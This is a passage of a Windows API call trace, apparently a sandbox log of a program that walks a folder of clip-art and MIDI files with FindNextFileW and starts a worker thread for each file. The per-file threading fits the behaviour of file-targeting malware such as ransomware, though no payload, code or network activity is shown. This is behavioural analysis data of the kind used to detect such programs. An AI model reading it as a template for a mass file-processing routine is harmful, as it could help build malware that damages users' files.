	[0243.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1
	[0243.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x205c
	[0243.117] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.118] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1
	[0243.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2060
	[0243.121] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.121] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1
	[0243.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2064
	[0243.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.124] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1
	[0243.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2068
	[0243.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1
	[0243.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x206c
	[0243.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.129] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1
	[0243.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2070
	[0243.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.132] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1
	[0243.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2074
	[0243.135] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.135] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1
	[0243.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2078
	[0243.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.139] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1
	[0243.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x207c
	[0243.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.142] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1
	[0243.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2080
	[0243.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.145] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1
	[0243.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2084
	[0243.431] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.432] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1
	[0243.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2088
	[0243.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.435] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1
	[0243.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208c
	[0243.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.438] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1
	[0243.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2090
	[0243.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.441] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1
	[0243.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2094
	[0243.443] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.444] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1
	[0243.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2098
	[0243.446] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.446] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1
	[0243.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x209c
	[0243.450] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.451] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1
	[0243.451] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a0
	[0243.452] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.453] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1
	[0243.453] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a4
	[0243.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.455] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x72, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1
	[0243.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a8
	[0243.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.458] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1
	[0243.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ac
	[0243.461] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.461] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1
	[0243.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b0
	[0243.464] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.464] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1
	[0243.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b4
	[0243.590] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.591] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1
	[0243.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20b8
	[0243.595] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.596] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x72, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1
	[0243.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20bc
	[0243.611] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.612] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1
	[0243.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c0
	[0243.639] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.640] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1
	[0243.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c4
	[0243.646] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
